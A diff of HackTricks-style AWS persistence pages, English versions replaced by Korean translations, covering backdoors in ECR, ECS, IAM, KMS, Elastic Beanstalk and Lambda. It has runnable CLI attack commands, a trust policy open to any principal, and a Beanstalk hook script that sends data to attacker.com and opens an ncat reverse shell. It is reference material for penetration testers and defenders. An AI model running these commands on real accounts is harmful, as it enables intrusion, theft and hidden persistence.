"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,103 +0,0 @@
# AWS - ECS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,151 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: 테스트
공격자는 Amazon EventBridge를 사용해 hidden periodic ECS task를 생성하여 **malicious task의 실행을 주기적으로 스케줄할 수 있습니다**. 이 task는 reconnaissance를 수행하거나, 데이터를 exfiltrate하거나, AWS 계정에서 persistence를 유지할 수 있습니다.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### 기존 ECS Task Definition의 Backdoor Container
> [!NOTE]
> TODO: 테스트
공격자는 정상 컨테이너와 함께 실행되는 기존 ECS task definition에 **stealthy backdoor container**를 추가할 수 있습니다. 이 backdoor container는 지속성 유지 및 악의적 활동 수행에 사용될 수 있습니다.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### 문서화되지 않은 ECS 서비스
> [!NOTE]
> TODO: 테스트
공격자는 악성 작업을 실행하는 **문서화되지 않은 ECS 서비스**를 생성할 수 있습니다. 원하는 작업 수를 최소로 설정하고 로깅을 비활성화하면 관리자가 악성 서비스를 발견하기 더 어려워집니다.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
서비스 태스크가 scalein 이벤트나 롤링 배포로 중지되는 것을 방지하기 위해 ecs:UpdateTaskProtection을 악용합니다. 보호를 지속적으로 연장하면 공격자는 수비자가 desiredCount를 줄이거나 새로운 태스크 리비전을 배포하더라도 장기간 실행되는 태스크(C2 또는 데이터 수집용)를 유지할 수 있습니다.
Steps to reproduce in us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
영향: 보호된 태스크는 desiredCount=0임에도 RUNNING 상태를 유지하며, 새로운 배포 중 교체를 차단하여 ECS 서비스 내에서 은밀한 장기 지속성을 가능하게 합니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,25 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
For more information check:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
### Create Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,21 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
**resource policy and/or security groups**를 수정하면 파일 시스템에 대한 접근을 유지하도록 시도할 수 있습니다.
### Create Access Point
파일 시스템에 대한 권한 있는 접근을 유지하기 위해, 이미 다른 **other persistence**를 구현한 서비스에서 접근 가능하도록 root access to `/`를 가진 **create an access point**를 생성할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,81 +0,0 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,75 @@
# AWS - Elastic Beanstalk 지속성
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### 인스턴스에서의 지속성
AWS 계정 내에서 지속성을 유지하기 위해, 일부 **지속성 메커니즘을 인스턴스 내에 도입할 수 있습니다** (cron job, ssh key...) — 공격자는 이를 통해 인스턴스에 접근하고 metadata service에서 IAM role **credentials를 탈취할 수 있습니다**.
### 버전 내 Backdoor
공격자는 S3 repo 내부의 코드에 backdoor를 심어 항상 backdoor와 원래의 코드가 함께 실행되도록 만들 수 있습니다.
### 새로운 backdoored 버전
실제 버전의 코드를 변경하는 대신, 공격자는 애플리케이션의 새로운 backdoored 버전을 배포할 수 있습니다.
### Custom Resource Lifecycle Hooks 악용
> [!NOTE]
> TODO: Test
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 시에 커스텀 스크립트를 실행할 수 있는 lifecycle hooks를 제공합니다. 공격자는 lifecycle hook을 구성하여 주기적으로 스크립트를 실행하고 데이터를 exfiltrates하거나 AWS 계정에 대한 접근을 유지할 수 있습니다.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,53 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,47 @@
# AWS - IAM Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
자세한 정보는 다음을 참조:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### 일반적인 IAM Persistence
- 사용자 생성
- 자신이 제어하는 사용자를 권한 있는 그룹에 추가
- 액세스 키 생성(신규 사용자 또는 모든 사용자용)
- 자신이 제어하는 사용자/그룹에 추가 권한 부여(첨부된 정책 또는 인라인 정책)
- MFA 비활성화 / 자신의 MFA 장치 추가
- Role Chain Juggling 상황 생성(자세한 내용은 아래 STS persistence 참조)
### Backdoor Role Trust Policies
자신이 제어하는 외부 리소스(또는 모든 사용자)가 이를 assume할 수 있도록 trust policy에 backdoor를 심을 수 있습니다:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor 정책 버전
정책의 최신 버전이 아닌 버전에 Administrator 권한을 부여한 다음(최신 버전은 합법적으로 보이도록 유지), 해당 정책 버전을 제어하는 사용자/그룹에 할당합니다.
### Backdoor / Identity Provider 생성
계정이 이미 Github과 같은 일반적인 identity provider를 신뢰하고 있다면, 신뢰 조건을 강화하여 공격자가 이를 악용할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,43 +0,0 @@
# AWS - KMS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For mor information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,37 @@
# AWS - KMS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### KMS 정책을 통한 Grant 접근
공격자는 권한 **`kms:PutKeyPolicy`** 를 사용하여 자신의 제어 하에 있는 사용자나 심지어 외부 계정에 키에 대한 **접근 권한을 부여할 수 있습니다**. 자세한 내용은 [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md)를 확인하세요.
### Eternal Grant
Grants는 특정 키에 대해 principal에게 일부 권한을 부여하는 또 다른 방법입니다. 사용자가 grants를 생성할 수 있도록 허용하는 grant를 부여할 수 있습니다. 또한, 사용자는 동일한 키에 대해 여러 개의 grant(심지어 동일한 것)를 가질 수 있습니다.
따라서 사용자가 모든 권한을 가진 grant를 10개 보유하는 것이 가능합니다. 공격자는 이를 지속적으로 모니터링해야 합니다. 만약 어떤 시점에 1개의 grant가 제거되면 다른 10개가 생성되어야 합니다.
(우리는 사용자가 아직 몇 개의 grant를 보유하고 있는 상태에서 grant가 제거된 것을 감지할 수 있도록 2가 아니라 10개를 사용합니다)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> grant는 오직 다음에서 정의된 권한만 부여할 수 있습니다: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,68 +1,133 @@
# AWS - Lambda Persistence
# AWS - Lambda 지속성
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda
For more information check:
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Layer Persistence
### Lambda Layer 지속성
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
Lambda가 실행될 때 은밀하게 임의 코드를 실행하기 위해 **layer를 도입/백도어화**할 수 있습니다:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
### Lambda Extension Persistence
### Lambda Extension 지속성
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
Lambda Layers를 악용하면 extensions를 악용해 Lambda 내부에 지속성을 확보하고 요청을 탈취·변조할 수도 있습니다.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
### Via resource policies
### 리소스 정책을 통한 방법
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
외부 계정에 invoke update code와 같은 다양한 Lambda 액션에 대한 접근 권한을 부여할 수 있습니다:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
### 버전, 별칭 및 가중치
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
Lambda는 각각 다른 코드가 포함된 **여러 버전**을 가질 수 있습니다.
그런 다음, Lambda의 서로 다른 버전마다 **서로 다른 aliases를 생성**하고 각 alias에 서로 다른 가중치를 설정할 수 있습니다.
이렇게 하면 공격자는 **백도어가 심어진 버전 1**과 **정상 코드만 있는 버전 2**를 만들고, 은밀하게 유지하기 위해 요청의 **1%에서만 버전 1을 실행**하도록 설정할 수 있습니다.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Lambda의 원본 코드를 복사합니다.
2. **원본 코드에 백도어를 심은 새 버전(또는 악성 코드만 포함된 버전)**을 생성합니다. 퍼블리시하고 그 **버전을 $LATEST에 배포**합니다.
1. Lambda와 연결된 API Gateway를 호출해 코드를 실행합니다.
3. **원본 코드로 새 버전을 생성**, 퍼블리시하고 그 **버전을 $LATEST에 배포**합니다.
1. 이렇게 하면 백도어가 심긴 코드는 이전 버전에 숨겨집니다.
4. API Gateway로 가서 백도어된 버전의 Lambda를 호출할 **새 POST 메서드 생성**(또는 다른 메서드 선택): `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. ARN의 마지막 :1은 **함수의 버전을 나타냅니다**(이 시나리오에서 버전 1이 백도어가 심긴 버전입니다).
5. 생성한 POST 메서드를 선택하고 Actions에서 **`Deploy API`**를 선택합니다.
6. 이제 POST로 함수를 호출하면 **백도어가 실행**됩니다.
### Cron/Event actuator
### Cron/Event 작동기
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
무언가 발생했을 때 또는 일정 시간이 지났을 때 **Lambda 함수를 실행할 수 있다는 사실**은 Lambda가 지속성을 확보하고 탐지를 회피하기 위한 흔하고 편리한 수단이 되게 합니다.
다음은 Lambda를 생성해 AWS 내에서의 **존재를 보다 은밀하게 유지**할 수 있는 몇 가지 아이디어입니다.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
- 새로운 사용자가 생성될 때마다 Lambda가 새로운 사용자 키를 생성해서 공격자에게 전송합니다.
- 새로운 역할이 생성될 때마다 Lambda가 손상된 사용자들에게 assume role 권한을 부여합니다.
- 새로운 CloudTrail 로그가 생성될 때마다 해당 로그를 삭제/변경합니다
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
`AWS_LAMBDA_EXEC_WRAPPER` 환경 변수를 악용해 runtime/handler가 시작되기 전에 공격자가 제어하는 래퍼 스크립트를 실행합니다. 래퍼를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출합니다. 래퍼는 함수 런타임 프로세스 내에서 실행되고 함수 실행 역할을 상속하며, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL 공개 노출
Lambda 비동기 destinations와 Recursion 구성을 함께 악용하여 외부 스케줄러(EventBridge, cron 등) 없이 함수가 스스로 지속적으로 재호출되도록 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만 recursion 구성을 Allow로 설정하면 이를 다시 활성화합니다. Destinations는 비동기 호출에 대해 서비스 측에서 전달되므로, 단 한 번의 시드 호출로 코드 없는 은밀한 하트비트/백도어 채널을 만들 수 있습니다. 선택적으로 reserved concurrency로 소음을 낮출 수 있습니다.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
공격자 로직을 담은 숨겨진 Lambda 버전을 생성하고 `lambda add-permission``--qualifier` 파라미터를 사용해 리소스 기반 정책을 그 특정 버전(또는 alias)에 범위 지정합니다. 공격자 주체에게는 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대해 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 정상 호출은 영향을 받지 않는 반면, 공격자는 백도어가 심긴 버전의 ARN을 직접 호출할 수 있습니다.
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지도 않습니다.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### AWS Lambda 런타임 고정
`lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig` 권한을 가진 공격자는 함수의 런타임 관리 구성을 수정할 수 있습니다. 이 공격은 Lambda 함수를 취약한 런타임 버전에 고정해 두거나 최신 런타임과 호환되지 않을 수 있는 악성 layer와의 호환성을 유지하려는 경우에 특히 효과적입니다.
공격자는 런타임 관리 구성을 수정해 런타임 버전을 고정합니다:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
적용된 구성 확인:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
선택 사항: 특정 런타임 버전으로 고정
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
특정 런타임 버전으로 고정:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,46 +1,42 @@
# AWS - Abusing Lambda Extensions
# AWS - Lambda 확장 악용
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Extensions
## Lambda 확장
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
